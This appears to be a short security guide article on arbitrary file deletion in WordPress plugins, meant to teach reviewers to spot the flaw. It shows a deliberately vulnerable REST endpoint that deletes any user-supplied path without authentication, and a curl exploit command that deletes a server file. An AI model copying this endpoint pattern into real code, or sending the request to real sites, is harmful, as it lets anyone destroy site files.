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Arbitrary File Deletion


This article covers cases of possible Arbitrary File Deletion on WordPress. This includes improper file or directory deletion handling inside of the plugin/theme which can be used to delete arbitrary local files and directories inside of the server.

Useful Functions

Several functions could be useful to identify a possible Arbitrary File Deletion vulnerability:

Example Cases

Below is an example of vulnerable code:

add_action("init", "rest_init_setup");
function rest_init_setup(){
register_rest_route( "myplugin/v1", '/deletemedia/', array(
'methods' => "POST",
'callback' => 'delete_media_upload',
'permission_callback' => '__return_true',
) );
function delete_media_upload($request){
$args = json_decode($request->get_body(),true);
$data = array('status'=>false);
if(!empty($args['media']) ){
wp_delete_file( $args['media']['file'] );
$data = array('status'=>true);
return new WP_REST_Response( $data, 200 );

To exploit this, any unauthenticated user just needs to perform a POST request to the /wp-json/myplugin/v1/deletemedia endpoint specifying the needed parameter to trigger the wp_delete_file function.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-json/myplugin/v1/deletemedia -d '{"media":{"file":"<WORDPRESS_BASE_DIRECTORY>/license.txt"}}' -H 'Content-Type: application/json'